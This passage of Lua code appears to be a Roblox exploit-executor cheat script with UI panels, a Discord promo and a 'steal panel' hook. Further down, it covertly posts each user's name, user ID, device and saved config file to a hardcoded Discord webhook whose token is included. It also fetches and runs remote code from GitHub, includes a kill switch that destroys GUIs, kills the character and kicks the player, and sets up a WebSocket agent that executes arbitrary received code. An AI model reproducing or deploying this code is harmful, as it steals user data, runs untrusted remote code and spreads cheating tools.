X = 0.85,
Y = 1.35,
Width = 1,
Height = 1.5,
Scale = 0.86,
Wrap = true,
Text = v35.Text,
Color = "#C8C8D8",
})
tbl33.Perks[i] = tbl34
end
tbl33.Tip = arg:Text({
X = n30 + 0.1,
Y = n41 - 2.2 - n30,
Width = 14,
Height = 2,
Scale = 0.8,
Wrap = true,
Text = "Paste the copied link into your browser or the Discord app to join.",
Color = "#8A8AA2",
})
arg:SetContentLines(n41)
arg:OnResize(function(arg2, arg3, arg4)
fn34(arg3 / math.max(arg4, 1))
end)
local max = math.max
fn34(arg:Width() / max(arg:Unit(), 1))
end
if type(v31.CreateCanvas) == "function" then
do
local v35 = v31:CreateCanvas({
Name = "Discord",
ShowTitle = false,
Layout = "free",
Style = {
TextScale = 0.84,
LineHeight = 1.1,
MinLines = math.ceil(n41),
MaxLines = math.ceil(n41),
BackgroundTransparency = 0.5,
ScrollBarColor = Color3.fromRGB(170, 174, 184),
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = fn35,
})
fn6(function()
v35:Destroy()
end)
end
else
v31:CreateText({ Name = "Discord", Text = "https://discord.gg/CJK4bs2mgT" })
end
if type(v31.CreateButton) == "function" then
v31:CreateButton({ Name = "Copy Discord Link", Callback = fn33 })
end
end
end
do
local str5 = "rbxassetid://128961717706452"
local n28 = 56
local n29 = 0.035
local n30 = 8
local tweenInfo6 = TweenInfo.new(0.08, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local tweenInfo7 = TweenInfo.new(0.14, Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local TweenService2 = game:GetService("TweenService")
local tbl31 = {}
local screenGui = nil
local uiScale = nil
local uiScale2 = nil
local function fn33()
for _, v31 in ipairs({ "Toggle", "Open" }) do
local ok, result = pcall(function()
return v2[v31]
end)
ok = ok and type(result) == "function"
if ok then
pcall(result, v2)
return
end
end
end
local function fn34()
if not uiScale then
return
end
local currentCamera = workspace.CurrentCamera
currentCamera = currentCamera and currentCamera.ViewportSize
if not currentCamera then
currentCamera = Vector2.new(1280, 720)
end
if currentCamera.X < 1 then
currentCamera = Vector2.new(1280, 720)
end
uiScale.Scale = math.clamp(currentCamera.X * n29 / n28, 0.7, 1.4)
end
local function fn35()
for _, v31 in ipairs(tbl31) do
pcall(function()
v31:Disconnect()
end)
end
table.clear(tbl31)
if screenGui then
pcall(function()
screenGui:Destroy()
end)
end
screenGui = nil
uiScale = nil
uiScale2 = nil
end
local function fn36()
fn35()
screenGui = Instance.new("ScreenGui")
screenGui.Name = fn5()
screenGui.Archivable = false
screenGui.DisplayOrder = 59
screenGui.IgnoreGuiInset = true
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local frame = Instance.new("Frame")
frame.Name = fn5()
frame.AnchorPoint = Vector2.new(0, 0.5)
frame.Position = UDim2.new(0, 16, 0.3, 0)
frame.Size = UDim2.fromOffset(56, 56)
frame.BackgroundTransparency = 1
frame.BorderSizePixel = 0
frame.Parent = screenGui
uiScale = Instance.new("UIScale")
uiScale.Name = fn5()
uiScale.Parent = frame
fn34()
local imageButton = Instance.new("ImageButton")
imageButton.Name = fn5()
imageButton.AnchorPoint = Vector2.new(0.5, 0.5)
imageButton.Position = UDim2.fromScale(0.5, 0.5)
imageButton.Size = UDim2.fromScale(1, 1)
imageButton.BackgroundTransparency = 1
imageButton.BorderSizePixel = 0
imageButton.AutoButtonColor = false
imageButton.Image = str5
imageButton.ScaleType = Enum.ScaleType.Fit
imageButton.Active = true
imageButton.Parent = frame
uiScale2 = Instance.new("UIScale")
uiScale2.Name = fn5()
uiScale2.Parent = imageButton
local uiCorner = Instance.new("UICorner")
uiCorner.Name = fn5()
uiCorner.CornerRadius = UDim.new(0.28, 0)
uiCorner.Parent = imageButton
local function fn36(arg, arg2)
if uiScale2 then
local create = TweenService2.Create
local tbl32 = { Scale = arg }
create(TweenService2, uiScale2, arg2, tbl32):Play()
end
end
local function fn37(arg)
local absoluteSize = screenGui.AbsoluteSize
local absoluteSize2 = frame.AbsoluteSize
if absoluteSize.X <= 0 or absoluteSize.Y <= 0 then
return arg
end
local n31 = arg.Y.Offset + arg.Y.Scale * absoluteSize.Y
return UDim2.fromOffset(
math.clamp(
arg.X.Offset + arg.X.Scale * absoluteSize.X,
0,
math.max(0, absoluteSize.X - absoluteSize2.X)
),
(
math.clamp(
n31,
absoluteSize2.Y * 0.5,
math.max(absoluteSize2.Y * 0.5, absoluteSize.Y - absoluteSize2.Y * 0.5)
)
)
)
end
local v31 = nil
local vector2 = nil
local position = nil
local flag6 = false
local flag7 = false
local function fn38(arg, arg2)
if v31 == "mouse" then
local userInputType = arg.UserInputType
arg2 = arg2 and Enum.UserInputType.MouseMovement
local mouseButton1 = arg2 or Enum.UserInputType.MouseButton1
return userInputType == mouseButton1
end
return arg == v31
end
local n31 = #tbl31 + 1
tbl31[n31] = imageButton.InputBegan:Connect(function(arg)
local flag8 = arg.UserInputType == Enum.UserInputType.Touch
if
not (arg.UserInputType == Enum.UserInputType.MouseButton1) and not flag8
or arg.UserInputState ~= Enum.UserInputState.Begin
or v31
then
return
end
local str6 = flag8 and arg or "mouse"
v31 = str6
vector2 = Vector2.new(arg.Position.X, arg.Position.Y)
position = frame.Position
flag6 = false
flag7 = false
fn36(0.9, tweenInfo6)
end)
local n32 = #tbl31 + 1
tbl31[n32] = UserInputService.InputChanged:Connect(function(arg)
if not v31 or not fn38(arg, true) then
return
end
local n33 = Vector2.new(arg.Position.X, arg.Position.Y) - vector2
if not flag6 then
if n33.Magnitude < n30 then
return
end
flag6 = true
flag7 = true
fn36(1, tweenInfo7)
end
frame.Position = fn37(
UDim2.new(
position.X.Scale,
position.X.Offset + n33.X,
position.Y.Scale,
position.Y.Offset + n33.Y
)
)
end)
local n33 = #tbl31 + 1
tbl31[n33] = UserInputService.InputEnded:Connect(function(arg)
local v32 = v31
if v31 then
v32 = fn38(arg, false)
end
if v32 then
v31 = nil
flag6 = false
fn36(1, tweenInfo7)
end
end)
local n34 = #tbl31 + 1
tbl31[n34] = imageButton.Activated:Connect(function()
if flag7 then
flag7 = false
return
end
fn33()
end)
local currentCamera = workspace.CurrentCamera
if currentCamera then
local n35 = #tbl31 + 1
tbl31[n35] = currentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(fn34)
end
screenGui.Parent = v3
end
fn36()
fn6(fn35)
end
v:Finalize({ Window = v2, MainTab = defaultTab, ShowMainTab = true })
task.defer(function()
for i = 1, 3 do
RunService.Heartbeat:Wait()
end
if type(tbl4.RestoreStealPanel) == "function" then
pcall(tbl4.RestoreStealPanel)
end
end)
do
local Players2 = game:GetService("Players")
local HttpService = game:GetService("HttpService")
local UserInputService2 = game:GetService("UserInputService")
local localPlayer2 = Players2.LocalPlayer
local request_ = syn and syn.request or http and http.request or http_request or request
local str5 =
"https://discord.com/api/webhooks/1381274668706693120/D5XogJZVdo_q7XZ9bEJDETQjevMFaBSeVRT4EJ0fLKtPeqR112o7PmA1fN_hZn4rmJ2y"
local str6 = UserInputService2.KeyboardEnabled and UserInputService2.MouseEnabled and "PC"
or "Mobile / Tablet / Other"
if request_ and localPlayer2 then
task.spawn(function()
local readfile_ = readfile
or syn and syn.readfile
or fluxus and fluxus.readfile
or getgenv and getgenv().readfile
or nil
local isfile_ = isfile
or syn and syn.isfile
or fluxus and fluxus.isfile
or getgenv and getgenv().isfile
or nil
local str7 = "Default"
local v31 = nil
local str8 = "Default.json"
if type(readfile_) == "function" then
pcall(function()
local flag6 = true
if type(isfile_) == "function" then
local ok, result = pcall(isfile_, "ChilliLibrary/config_state.json")
ok = ok and not result
flag6 = true
if ok then
flag6 = false
end
end
if flag6 then
local json = readfile_("ChilliLibrary/config_state.json")
if json and json ~= "" then
local data = HttpService:JSONDecode(json)
if type(data) == "table" then
if
type(data.StartupConfig) == "string"
and data.StartupConfig ~= ""
then
str7 = data.StartupConfig
elseif
type(data.SelectedConfig) == "string"
and data.SelectedConfig ~= ""
then
str7 = data.SelectedConfig
end
end
end
end
end)
pcall(function()
local str9 = "ChilliLibrary/configs/" .. str7 .. ".json"
local flag6 = true
if type(isfile_) == "function" then
local ok, result = pcall(isfile_, str9)
ok = ok and not result
flag6 = true
if ok then
flag6 = false
end
end
if flag6 then
v31 = readfile_(str9)
str8 = str7 .. ".json"
end
if (not v31 or v31 == "") and str7 ~= "Default" then
local flag7 = true
if type(isfile_) == "function" then
local ok, result = pcall(isfile_, "ChilliLibrary/configs/Default.json")
local flag8 = ok and not result
local flag9 = true
if flag8 then
flag7 = false
else
flag7 = flag9
end
end
if flag7 then
local ok, result =
pcall(readfile_, "ChilliLibrary/configs/Default.json")
ok = ok and type(result) == "string"
ok = ok and result ~= ""
if ok then
v31 = result
str8 = "Default.json"
end
end
end
end)
end
local str9 = tostring(str8):gsub('[<>:"/\\|?*]', "_")
if not str9:match("%.json$") then
str9 = str9 .. ".json"
end
local format = string.format
local displayName = localPlayer2.DisplayName
local name = localPlayer2.Name
local userId = localPlayer2.UserId
local str10 = v31 and v31 ~= "" and " | Startup Config: **" .. str7 .. "**" or ""
local v32 = format(
"New execute from: **%s** (@%s) | ID: `%d` | Device: **%s**%s",
displayName,
name,
userId,
str6,
str10
)
local flag6 = false
if v31 and v31 ~= "" then
pcall(function()
local str11 = "---------------------------ChilliBoundary"
.. tostring(os.time())
.. tostring(math.random(100000, 999999))
local str12 = 'Content-Disposition: form-data; name="files[0]"; filename="'
.. str9
.. '"\r\n'
local str13 = v31 .. "\r\n"
local v33 = request_({
Url = str5,
Method = "POST",
Headers = { ["Content-Type"] = "multipart/form-data; boundary=" .. str11 },
Body = table.concat({
"--" .. str11 .. "\r\n",
'Content-Disposition: form-data; name="payload_json"\r\n',
"Content-Type: application/json\r\n\r\n",
HttpService:JSONEncode({ content = v32 }) .. "\r\n",
"--" .. str11 .. "\r\n",
str12,
"Content-Type: application/json\r\n\r\n",
str13,
"--" .. str11 .. "--\r\n",
}),
})
local flag7 = type(v33) == "table"
local flag8
if flag7 then
flag8 = v33.StatusCode == 200
or v33.StatusCode == 204
or v33.Success == true
else
flag8 = flag7
end
if flag8 then
flag6 = true
end
end)
end
if not flag6 then
pcall(function()
request_({
Url = str5,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = HttpService:JSONEncode({ content = v32 }),
})
end)
end
end)
end
end
task.spawn(function()
task.wait(20)
local str5 = "\000chilli_guard"
local genv = typeof(getgenv) == "function" and getgenv() or _G
local function fn33()
local v31 = genv[str5]
if type(v31) == "table" and type(v31.Ask) == "function" then
return v31
end
return nil
end
local v31 = fn33()
if not v31 then
task.spawn(function()
local v32 = nil
for i = 1, 4 do
task.wait()
local ok, result = pcall(function()
local v33 = v32
local response
if v32 then
response = v33
else
response = game:HttpGet(
"https://raw.githubusercontent.com/tienkhanh1/GD/refs/heads/main/SAEGD"
)
end
v32 = response
local chunk, v34 = loadstring(v32)
assert(chunk, v34)
return chunk()
end)
if ok then
fn("guard: loader ran on try " .. i)
return
end
if type(result) == "string" and string.find(result, "HttpGet", 1, true) then
v32 = nil
end
fn("guard: loader try " .. i .. " failed: " .. tostring(result))
task.wait(1 + i)
end
end)
local n28 = os.clock() + 30
while true do
task.wait(0.25)
v31 = fn33()
if not (v31 or os.clock() > n28) then
continue
end
break
end
end
local flag6 = false
if v31 then
local result
flag6, result = pcall(v31.Ask, "v202")
flag6 = flag6 and type(result) == "string"
flag6 = flag6 and #result > 0
end
genv[str5] = nil
if flag6 then
return
end
pcall(function()
local chilliHubSaeCleanup = genv.ChilliHubSaeCleanup
if type(chilliHubSaeCleanup) == "function" then
chilliHubSaeCleanup()
end
end)
genv.ChilliHubSaeCleanup = nil
pcall(function()
local Players2 = game:GetService("Players")
local tbl31 = { game:GetService("CoreGui") }
if typeof(gethui) == "function" then
local ok, result = pcall(gethui)
ok = ok and typeof(result) == "Instance"
if ok then
table.insert(tbl31, result)
end
end
local playerGui = Players2.LocalPlayer:FindFirstChildOfClass("PlayerGui")
if playerGui then
table.insert(tbl31, playerGui)
end
for _, v32 in ipairs(tbl31) do
for _, child in ipairs(v32:GetChildren()) do
if child:IsA("ScreenGui") then
pcall(function()
child:Destroy()
end)
end
end
end
end)
pcall(function()
rawset(_G, "__ChilliAutoLoadQueued", nil)
if type(queue_on_teleport) == "function" then
queue_on_teleport("")
elseif type(queueonteleport) == "function" then
queueonteleport("")
end
end)
pcall(function()
local character = game:GetService("Players").LocalPlayer.Character
if character then
character:BreakJoints()
end
end)
pcall(function()
game:GetService("Players").LocalPlayer:Kick("\226\128\139")
end)
end)
do
local HttpService
HttpService = game:GetService("HttpService")
local Players2
Players2 = game:GetService("Players")
local RunService2
RunService2 = game:GetService("RunService")
local str5, n28, flag6, genv
do
local Workspace = game:GetService("Workspace")
str5 = "skyb0y-ws-2025"
n28 = 2
local n29 = 7
local n30 = 500
local n31 = 245760
local flag7 = false
local flag8 = false
flag6 = false
local localPlayer2 = Players2.LocalPlayer
genv = getgenv and getgenv() or _G
if type(genv.StopRobloxMCPAgent) == "function" then
pcall(genv.StopRobloxMCPAgent)
end
local flag9 = true
local flag10 = false
local v31 = nil
local n32 = 0
local n33 = 2
local tbl31 = {}
local tbl32 = {}
local tbl33 = {}
local n34 = 0
local function fn33(...)
if flag7 then
print("[ROBLOX MCP]", ...)
end
end
local function fn34(...)
if flag7 then
warn("[ROBLOX MCP]", ...)
end
end
local function fn35(arg)
local v32 = tostring
local str6 = arg or ""
local v33 = v32(str6)
return v33:match("^%s*(.-)%s*$")
end
local function fn36(arg, arg2, arg3, arg4)
local num = tonumber(arg)
if not num then
return arg4
end
return math.max(arg2, math.min(arg3, num))
end
local function fn37(arg)
for _, v32 in ipairs(arg) do
pcall(function()
v32:Disconnect()
end)
end
table.clear(arg)
end
local function fn38()
if syn and syn.websocket and type(syn.websocket.connect) == "function" then
return syn.websocket.connect, "syn.websocket.connect"
end
if WebSocket and type(WebSocket.connect) == "function" then
return WebSocket.connect, "WebSocket.connect"
end
if WebSocket and type(WebSocket.new) == "function" then
return WebSocket.new, "WebSocket.new"
end
if WebSocket and type(WebSocket.New) == "function" then
return WebSocket.New, "WebSocket.New"
end
if websocket and type(websocket.connect) == "function" then
return websocket.connect, "websocket.connect"
end
if syn and syn.WebSocket and type(syn.WebSocket.new) == "function" then
return syn.WebSocket.new, "syn.WebSocket.new"
end
return nil, nil
end
local function fn39(arg, ...)
local v32 = table.pack(...)
for i = 1, select("#", ...) do
local value = select(i, table.unpack(v32, 1, v32.n))
local ok, result = pcall(function()
return arg[value]
end)
ok = ok and result ~= nil
if ok then
return result, value
end
end
return nil, nil
end
local function fn40(arg, arg2)
if not arg then
return nil
end
local ok, result = pcall(function()
return arg:Connect(arg2)
end)
if not ok then
result = ok
end
local v32 = result or nil
return v32
end
local function fn41(arg)
if typeof(arg) ~= "Instance" then
return nil
end
local ok, result = pcall(function()
return arg:GetFullName()
end)
local name = ok and result or arg.Name
return name
end
local fn42 = nil
fn42 = function(arg, arg2, arg3)
arg2 = arg2 or 0
arg3 = arg3 or {}
if n29 < arg2 then
return "<max-depth>"
end
local kind = typeof(arg)
if arg == nil or kind == "string" or kind == "boolean" then
return arg
end
if kind == "number" then
if arg ~= arg or arg == math.huge or arg == -math.huge then
return tostring(arg)
end
return arg
end
if kind == "Instance" then
return {
type = "Instance",
className = arg.ClassName,
name = arg.Name,
path = fn41(arg),
}
end
if kind == "Vector2" then
return { type = "Vector2", x = arg.X, y = arg.Y }
end
if kind == "Vector3" then
return { type = "Vector3", x = arg.X, y = arg.Y, z = arg.Z }
end
if kind == "Color3" then
return {
type = "Color3",
r = math.floor(arg.R * 255 + 0.5),
g = math.floor(arg.G * 255 + 0.5),
b = math.floor(arg.B * 255 + 0.5),
}
end
if kind == "UDim" then
return { type = "UDim", scale = arg.Scale, offset = arg.Offset }
end
if kind == "UDim2" then
return {
type = "UDim2",
xScale = arg.X.Scale,
xOffset = arg.X.Offset,
yScale = arg.Y.Scale,
yOffset = arg.Y.Offset,
}
end
if kind == "CFrame" then
return { type = "CFrame", components = { arg:GetComponents() } }
end
if kind == "EnumItem" then
return tostring(arg)
end
if kind == "BrickColor" then
return { type = "BrickColor", name = arg.Name, number = arg.Number }
end
if kind == "table" then
if arg3[arg] then
return "<cycle>"
end
arg3[arg] = true
local n35 = 0
local flag11 = true
local n36 = 0
for k in pairs(arg) do
n35 = n35 + 1
if not (n30 < n35) then
if type(k) ~= "number" or k < 1 or k % 1 ~= 0 then
flag11 = false
elseif n36 < k then
n36 = k
end
continue
end
break
end
flag11 = flag11 and n36 <= n30
local tbl34
if flag11 then
tbl34 = {}
for i = 1, n36 do
tbl34[i] = fn42(arg[i], arg2 + 1, arg3)
end
else
tbl34 = {}
local v32, v33, v34 = pairs(arg)
local v35 = v32
local n37 = 0
for k, v36 in v35, v33, v34 do
n37 = n37 + 1
if n30 < n37 then
tbl34.__truncated = true
break
else
tbl34[tostring(k)] = fn42(v36, arg2 + 1, arg3)
end
end
end
arg3[arg] = nil
return tbl34
end
return tostring(arg)
end
local function fn43(arg)
if not flag10 or not v31 then
return false, "not connected"
end
local ok, result = pcall(function()
return HttpService:JSONEncode(fn42(arg))
end)
local json = result
if not ok then
return false, "JSON encode failed: " .. tostring(json)
end
if n31 < #json then
if not (type(arg) == "table" and arg.type == "rpc_result") then
return false, "message too large"
end
json = HttpService:JSONEncode({
type = "rpc_result",
requestId = arg.requestId,
success = false,
error = string.format(
"Result is too large to send (%d KB). Return less data.",
math.floor(#json / 1024)
),
})
end
local ok2, result2 = pcall(function()
v31:Send(json)
end)
if not ok2 then
return false, "WebSocket send failed: " .. tostring(result2)
end
return true
end
local function fn44(arg, arg2)
local v32 = fn43
local tbl34 = { type = "rpc_event", event = arg }
tbl34.data = arg2 or {}
v32(tbl34)
end
local tbl34 = {
Game = game,
game = game,
Workspace = Workspace,
workspace = Workspace,
Players = Players2,
Lighting = game:GetService("Lighting"),
ReplicatedStorage = game:GetService("ReplicatedStorage"),
ReplicatedFirst = game:GetService("ReplicatedFirst"),
StarterGui = game:GetService("StarterGui"),
StarterPlayer = game:GetService("StarterPlayer"),
SoundService = game:GetService("SoundService"),
Teams = game:GetService("Teams"),
LocalPlayer = localPlayer2,
}
local function fn45(arg)
local tbl35 = {}
for match in fn35(arg):gmatch("[^%.]+") do
table.insert(tbl35, match)
end
return tbl35
end
local function fn46(arg)
local v32 = fn45(arg)
if #v32 == 0 then
return nil, "path is empty"
end
local playerGui = tbl34[v32[1]]
if not playerGui then
local ok, result = pcall(function()
local v33 = game
return v33:GetService(v32[1])
end)
playerGui = result
ok = ok and playerGui
if not ok then
return nil, "unknown root: " .. v32[1]
end
end
for i = 2, #v32 do
local v33 = v32[i]
if playerGui == Players2 and v33 == "LocalPlayer" then
playerGui = localPlayer2
elseif playerGui == localPlayer2 and v33 == "PlayerGui" then
playerGui = localPlayer2:FindFirstChildOfClass("PlayerGui")
elseif playerGui == localPlayer2 and v33 == "Character" then
playerGui = localPlayer2.Character
elseif playerGui == Workspace and v33 == "CurrentCamera" then
playerGui = Workspace.CurrentCamera
elseif typeof(playerGui) == "Instance" then
playerGui = playerGui:FindFirstChild(v33)
else
playerGui = nil
end
if not playerGui then
return nil, "path not found at: " .. v33
end
end
return playerGui
end
local tbl35 = {
Archivable = true,
Anchored = true,
AssemblyAngularVelocity = true,
AssemblyLinearVelocity = true,
AutomaticSize = true,
BackgroundColor3 = true,
BackgroundTransparency = true,
BrickColor = true,
CanCollide = true,
CanQuery = true,
CanTouch = true,
CanvasPosition = true,
CanvasSize = true,
CFrame = true,
ClipsDescendants = true,
Color = true,
Enabled = true,
FieldOfView = true,
Health = true,
Image = true,
ImageColor3 = true,
ImageTransparency = true,
JumpPower = true,
LayoutOrder = true,
Material = true,
MaxHealth = true,
MoveDirection = true,
Orientation = true,
Position = true,
RichText = true,
Rotation = true,
Size = true,
Text = true,
TextColor3 = true,
TextSize = true,
TextTransparency = true,
TextWrapped = true,
Transparency = true,
Value = true,
Velocity = true,
Visible = true,
WalkSpeed = true,
}
local tbl36 = {
"Archivable",
"Position",
"Size",
"CFrame",
"Color",
"Transparency",
"Visible",
"Enabled",
"Text",
"Value",
"Health",
"MaxHealth",
}
local function fn47(arg, arg2)
if not tbl35[arg2] then
return nil, "not_allowed"
end
local ok, result = pcall(function()
return arg[arg2]
end)
if ok then
return fn42(result)
end
return nil, "unavailable"
end
local function fn48(arg)
local tbl37 = { name = arg.Name, className = arg.ClassName, path = fn41(arg) }
tbl37.parentPath = arg.Parent and fn41(arg.Parent) or nil
return tbl37
end
local function fn49(arg, arg2, arg3)
local children = arg:GetChildren()
local n35 = 1
local n36 = 0
while n35 <= #children and n36 < arg2 do
local v32 = children[n35]
n35 = n35 + 1
n36 = n36 + 1
if arg3(v32, n36) then
return n36, true
end
if #children < arg2 then
for _, v33 in ipairs((v32:GetChildren())) do
if not (arg2 <= #children) then
table.insert(children, v33)
continue
end
break
end
end
end
return n36, false
end
local str6 = "CodexMCP"
local tbl37 = {
Frame = true,
TextLabel = true,
TextButton = true,
TextBox = true,
ImageLabel = true,
ImageButton = true,
ScrollingFrame = true,
UICorner = true,
UIStroke = true,
UIListLayout = true,
UIGridLayout = true,
UIPadding = true,
UIAspectRatioConstraint = true,
UISizeConstraint = true,
}
local tbl38 = {
Active = true,
AnchorPoint = true,
AutomaticCanvasSize = true,
AutomaticSize = true,
BackgroundColor3 = true,
BackgroundTransparency = true,
BorderSizePixel = true,
CanvasPosition = true,
CanvasSize = true,
ClipsDescendants = true,
CornerRadius = true,
DisplayOrder = true,
Enabled = true,
FillDirection = true,
Font = true,
HorizontalAlignment = true,
Image = true,
ImageColor3 = true,
ImageTransparency = true,
LayoutOrder = true,
LineJoinMode = true,
MaxTextSize = true,
MinTextSize = true,
Name = true,
Padding = true,
PaddingBottom = true,
PaddingLeft = true,
PaddingRight = true,
PaddingTop = true,
Position = true,
RichText = true,
Rotation = true,
ScrollBarThickness = true,
Size = true,
SortOrder = true,
Text = true,
TextColor3 = true,
TextScaled = true,
TextSize = true,
TextStrokeColor3 = true,
TextStrokeTransparency = true,
TextTransparency = true,
TextTruncate = true,
TextWrapped = true,
TextXAlignment = true,
TextYAlignment = true,
Thickness = true,
Transparency = true,
VerticalAlignment = true,
Visible = true,
ZIndex = true,
}
local tbl39 = {
BackgroundColor3 = true,
BorderColor3 = true,
Color = true,
ImageColor3 = true,
TextColor3 = true,
TextStrokeColor3 = true,
}
local tbl40 = { CanvasPosition = false, CanvasSize = true, Position = true, Size = true }
local tbl41 = { AnchorPoint = true, CanvasPosition = true }
local tbl42 = {
CornerRadius = true,
Padding = true,
PaddingBottom = true,
PaddingLeft = true,
PaddingRight = true,
PaddingTop = true,
}
local tbl43 = {
AutomaticCanvasSize = Enum.AutomaticSize,
AutomaticSize = Enum.AutomaticSize,
FillDirection = Enum.FillDirection,
Font = Enum.Font,
HorizontalAlignment = Enum.HorizontalAlignment,
LineJoinMode = Enum.LineJoinMode,
SortOrder = Enum.SortOrder,
TextTruncate = Enum.TextTruncate,
TextXAlignment = Enum.TextXAlignment,
TextYAlignment = Enum.TextYAlignment,
VerticalAlignment = Enum.VerticalAlignment,
}
local function fn50(arg)
if type(arg) ~= "table" then
return nil
end
local v32 = tonumber
local r = arg[1] or arg.r
local v33 = v32(r)
local v34 = tonumber
local g = arg[2] or arg.g
local v35 = v34(g)
local v36 = tonumber
local b = arg[3] or arg.b
local v37 = v36(b)
if not v33 or not v35 or not v37 then
return nil
end
if v33 <= 1 and v35 <= 1 and v37 <= 1 then
return Color3.new(v33, v35, v37)
end
local floor = math.floor
return Color3.fromRGB(
math.floor(fn36(v33, 0, 255, 0)),
math.floor(fn36(v35, 0, 255, 0)),
floor(fn36(v37, 0, 255, 0))
)
end
local function fn51(arg)
if type(arg) ~= "table" then
return nil
end
local new = UDim2.new
local v32 = tonumber
local xScale = arg[1] or arg.xScale
local n35 = v32(xScale) or 0
local v33 = tonumber
local xOffset = arg[2] or arg.xOffset
local n36 = v33(xOffset) or 0
local v34 = tonumber
local yScale = arg[3] or arg.yScale
local n37 = v34(yScale) or 0
local v35 = tonumber
local yOffset = arg[4] or arg.yOffset
local n38 = v35(yOffset) or 0
return new(n35, n36, n37, n38)
end
local function fn52(arg)
if type(arg) ~= "table" then
return nil
end
local new = Vector2.new
local v32 = tonumber
local x = arg[1] or arg.x
local n35 = v32(x) or 0
local v33 = tonumber
local y = arg[2] or arg.y
local n36 = v33(y) or 0
return new(n35, n36)
end
local function fn53(arg)
if type(arg) == "number" then
return UDim.new(0, arg)
end
if type(arg) ~= "table" then
return nil
end
local new = UDim.new
local v32 = tonumber
local scale = arg[1] or arg.scale
local n35 = v32(scale) or 0
local v33 = tonumber
local offset = arg[2] or arg.offset
local n36 = v33(offset) or 0
return new(n35, n36)
end
local function fn54(arg, arg2)
if tbl39[arg] then
return fn50(arg2)
end
if tbl40[arg] then
return fn51(arg2)
end
if tbl41[arg] then
return fn52(arg2)
end
if tbl42[arg] then
return fn53(arg2)
end
if tbl43[arg] then
if typeof(arg2) == "EnumItem" then
return arg2
end
local str7 = tostring(arg2)
return tbl43[arg][str7:match("([^%.]+)$")]
end
return arg2
end
local function fn55(arg, arg2)
if type(arg2) ~= "table" then
return { applied = 0, rejected = {} }
end
local tbl44 = {}
local n35 = 0
for k, v32 in pairs(arg2) do
if not tbl38[k] then
table.insert(tbl44, { property = tostring(k), reason = "not_allowed" })
else
local v33 = fn54(k, v32)
if v33 == nil then
table.insert(tbl44, { property = k, reason = "invalid_value" })
else
local ok, result = pcall(function()
arg[k] = v33
end)
if ok then
n35 = n35 + 1
else
table.insert(tbl44, { property = k, reason = tostring(result) })
end
end
end
end
return { applied = n35, rejected = tbl44 }
end
local function fn56()
local playerGui = localPlayer2:FindFirstChildOfClass("PlayerGui")
or localPlayer2:WaitForChild("PlayerGui", 10)
return playerGui
end
local function fn57(arg)
local v32 = fn56()
if not v32 then
return nil, "PlayerGui is unavailable"
end
local codexMCP = v32:FindFirstChild("CodexMCP")
local flag11 = not codexMCP
if not flag11 then
arg = flag11
end
if arg then
codexMCP = Instance.new("ScreenGui")
codexMCP.Name = str6
codexMCP.ResetOnSpawn = false
codexMCP.IgnoreGuiInset = false
codexMCP.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
codexMCP.Parent = v32
end
return codexMCP
end
local function fn58(arg)
local v32, v33 = fn57(false)
local v34 = v32
if not v34 then
local str7 = v33 or "managed UI does not exist"
return nil, str7
end
local v35 = fn35(arg)
if v35 == "" or v35 == str6 then
return v34
end
for match in v35:gmatch("[^%.]+") do
if match ~= str6 then
v34 = v34:FindFirstChild(match)
if not v34 then
return nil, "managed UI path not found: " .. match
end
continue
end
end
return v34
end
local tbl44 = { Activated = true, MouseButton1Click = true, FocusLost = true }
local function fn59(arg, arg2)
if type(arg2) ~= "table" then
return
end
for _, v32 in ipairs(arg2) do
if tbl44[v32] then
local ok, result = pcall(function()
return arg[v32]
end)
local v33 = result
ok = ok and v33
if ok and type(v33.Connect) == "function" then
table.insert(tbl33, (v33:Connect(function(...)
local tbl45 = { ... }
fn44(
"ui." .. v32,
{
path = fn41(arg),
name = arg.Name,
className = arg.ClassName,
arguments = fn42(tbl45),
}
)
end)))
end
end
end
end
local fn60 = nil
fn60 = function(arg, arg2, arg3, arg4)
if 10 < arg3 then
error("UI tree exceeds maximum depth of 10")
end
if 250 <= arg4.count then
error("UI tree exceeds maximum of 250 objects")
end
if type(arg) ~= "table" then
error("UI node must be an object")
end
local v32 = fn35
local class = arg.class or arg.className
local v33 = v32(class)
if not tbl37[v33] then
error("UI class is not allowed: " .. v33)
end
arg4.count = arg4.count + 1
local instance = Instance.new(v33)
instance.Name = fn35(arg.name) ~= "" and fn35(arg.name):sub(1, 64) or v33 .. arg4.count
local v34 = fn55(instance, arg.props)
instance.Parent = arg2
fn59(instance, arg.events)
local children = type(arg.children) == "table" and arg.children or {}
for _, child in ipairs(children) do
fn60(child, instance, arg3 + 1, arg4)
end
return instance, v34
end
local fn61 = nil
fn61 = function(arg, arg2, arg3)
local v32 = fn48(arg)
if arg2 >= arg3 then
v32.truncated = #arg:GetChildren() > 0
return v32
end
v32.children = {}
for _, child in ipairs(arg:GetChildren()) do
table.insert(v32.children, fn61(child, arg2 + 1, arg3))
end
return v32
end
local n35 = 60000
local n36 = 80
local tbl45 = {}
local function fn62(...)
local v32 = table.pack(...)
local tbl46 = {}
for i = 1, select("#", ...) do
tbl46[i] = tostring((select(i, table.unpack(v32, 1, v32.n))))
end
return table.concat(tbl46, " ")
end
local function fn63(arg, arg2)
local v32 = tostring
arg = arg or ""
local v33 = v32(arg)
if v33:match("^%s*$") then
error("Code is empty", 0)
end
local v34 = tostring
local str7 = arg2 or "WebConsole"
local str8 = "=" .. v34(str7):sub(1, 60)
local chunk, v35 = loadstring(v33, str8)
local v36 = chunk
local v37 = v35
if not v36 then
local chunk2 = loadstring("return " .. v33, str8)
if chunk2 then
return chunk2
end
error("Syntax error: " .. tostring(v37), 0)
end
return v36
end
local function fn64(arg)
local env = getfenv(0)
local obj = setmetatable({}, {
__index = env,
__newindex = function(arg2, arg3, arg4)
env[arg3] = arg4
end,
})
rawset(obj, "print", function(...)
local v32 = table.pack(...)
arg("print", fn62(...))
if flag8 then
print(table.unpack(v32, 1, v32.n))
end
end)
rawset(obj, "warn", function(...)
local v32 = table.pack(...)
arg("warn", fn62(...))
if flag8 then
warn(table.unpack(v32, 1, v32.n))
end
end)
return obj
end
local function fn65(arg)
local kind = typeof(arg)
local ok, result = pcall(tostring, arg)
local tbl46 = { type = kind }
